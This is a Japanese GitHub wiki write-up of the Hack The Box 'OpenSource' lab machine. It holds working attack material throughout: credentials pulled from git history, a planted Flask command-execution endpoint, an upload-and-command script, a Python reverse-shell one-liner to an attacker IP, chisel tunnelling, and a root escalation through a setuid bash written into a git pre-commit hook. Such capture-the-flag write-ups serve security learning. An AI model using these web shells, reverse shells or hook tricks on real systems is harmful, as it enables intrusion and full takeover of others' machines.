HTB_opensource - meruneru/tech_memo GitHub Wiki
HTTP, SSH, 3000(謎)の3つが空いている。
nmap -sV -sC -Pn opensource.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Wed, 24 Aug 2022 03:53:06 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Wed, 24 Aug 2022 03:53:06 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
3000/tcp filtered ppp
80番ポートが開いてるので、ブラウザでアクセスしてみる。 https://opensource.htb/
ページ下部にて、ソースコードをダウンロードできる。 また、試しにファイルをアップロードすることもできる。
nmapの結果から、Werkzeug/2.1.2 を調べると、RCE脆弱性があることがわかる。 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug https://ctftime.org/writeup/17955
https://opensource.htb/console にアクセスしてみると、pinコードを要求される。
ダウンロードしたフォルダの中には.gitフォルダがある。
meruneru@[9:56:35]:~/program/ctf/htb/opensource/source% git branch
dev
* public
meruneru@[9:56:39]:~/program/ctf/htb/opensource/source% git checkout dev
Switched to branch 'dev'
meruneru@[9:56:44]:~/program/ctf/htb/opensource/source% git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
meruneru@[9:57:18]:~/program/ctf/htb/opensource/source% git diff ee9d9f1ef9156c787d53074493e39ae364cd1e05 a76f8f75f7a4a12b706b0cf9c983796fa1985820
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
+ "http.proxyStrictSSL": false
+}
...
http.proxyより、ID: dev01, PW:Soulless_Developer#2022らしい。
コマンドをサーバ上で実行させるため、サーバ上のviews.pyを都合のいいように置き換える。
Flaskを使っているので、Flaskの流儀に沿った方法で実装する。
...
import subprocess
@app.route('/uploads/meruneru/<path:path>')
def send_report2(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "/", path))
@app.route('/cmd/')
def send_cmd():
command = request.args.get(key='cmd')
proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
return proc.communicate()[0]
SSLを使わないget/postの場合、verify=Falseとすること。
Requests can also ignore verifying the SSL certificate if you set
verifyto False: https://requests.readthedocs.io/en/latest/user/advanced/
下記スクリプトでサーバ側にコマンドを送れるようになった。
import requests
headers = {
'Host': 'opensource.htb',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
# 'Content-Type': 'multipart/form-data; boundary=---------------------------16480892445397770684270963246',
# 'Content-Length': '224',
'Origin': 'http://opensource.htb',
'Connection': 'close',
'Referer': 'http://opensource.htb/upcloud',
'Upgrade-Insecure-Requests': '1',
}
files = {'file': ('/app/app/views.py', open('views.py', 'rb').read())}
print(files)
print('----')
response = requests.post('http://opensource.htb/upcloud', headers=headers, files=files, verify=False)
print(response.text)
print('----')
while 1:
cmd = input('$ ')
print('http://opensource.htb/cmd?cmd=' + cmd)
print('----')
response = requests.get('http://opensource.htb/cmd?cmd=' + cmd, verify=False)
print(response.text)
Reverseshellを取得する。
nc -lvnp 4242
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.35",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
サーバ内を色々みたが、フラグは見つからなかった。 nmapでポート3000が空いていたため、そこを確認すると Gitiaというサービスが動いている事がわかる。 ただし、そのサービスはサーバを介してでしか、アクセスできない。
#chisel chisel を使うことで、サーバをプロキシとしてローカルマシンから接続できる。 chisel_1.7.7_linux_amd64.gzをダウンロード&解答し、サーバにアップロードする。
$ chisel server -p 8005 --reverse
# chmod +x ./chisel
# ./chisel client <local Machine IP>:8005 R:3000:172.0.0.1:3000
上記でchiselの通信路は確立する。
あとは、ローカルマシンのブラウザでhttp://localhost:3000/にアクセスすれば、Gitiaにアクセスできる。
ID: dev01, PW:Soulless_Developer#2022 でログインできる。
!Pasted image 20220828130712.png
リポジトリにはサーバのssh鍵があった。 リポジトリをダウンロードして、その秘密鍵を使ってアクセスしてみる。
$ ls
authorized_keys id_rsa id_rsa.pub
$ ssh [email protected] -i id_rsa
dev01としてログインでき、user.txtを発見した。
サーバでは定期的に自動コミットがされている模様。 そのコマンドはroot権限で行われている。
dev01@opensource:~$ps aux
root 29098 0.0 0.1 18280 4116 ? S Aug27 0:00 git commit -m Backup for 2022-08-27
root 29099 0.0 0.0 4636 776 ? S Aug27 0:00 /bin/sh .git/hooks/pre-commit
GTFOBinsというLinuxコマンドの権限バイパスをする手法がまとまっていた。
.git/hooks/ 以下にはgitの各アクションに関連づいたシェルスクリプトがある。 pre-commitはコミット直前に実行されるシェルスクリプトなので、 そこに/bin/bashの権限をイジる修正を行う。
dev01@opensource:~$ echo "chmod u+s /bin/bash" >> ~/.git/hooks/pre-commit
dev01@opensource:~$ chmod +x ~/.git/hooks/pre-commit
dev01@opensource:~/.git/hooks$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
dev01@opensource:~/.git/hooks$ bash -p
bash-4.4#
bash -p means following.
-p:
Turn on privileged mode. In this mode, the `$BASH_ENV' and
`$ENV' files are not processed, shell functions are not
inherited from the environment, and the `SHELLOPTS',
`BASHOPTS', `CDPATH' and `GLOBIGNORE' variables, if they
appear in the environment, are ignored. If the shell is
started with the effective user (group) id not equal to the
real user (group) id, and the `-p' option is not supplied,
these actions are taken and the effective user id is set to
the real user id. If the `-p' option is supplied at startup,
the effective user id is not reset. Turning this option off
causes the effective user and group ids to be set to the real
user and group ids.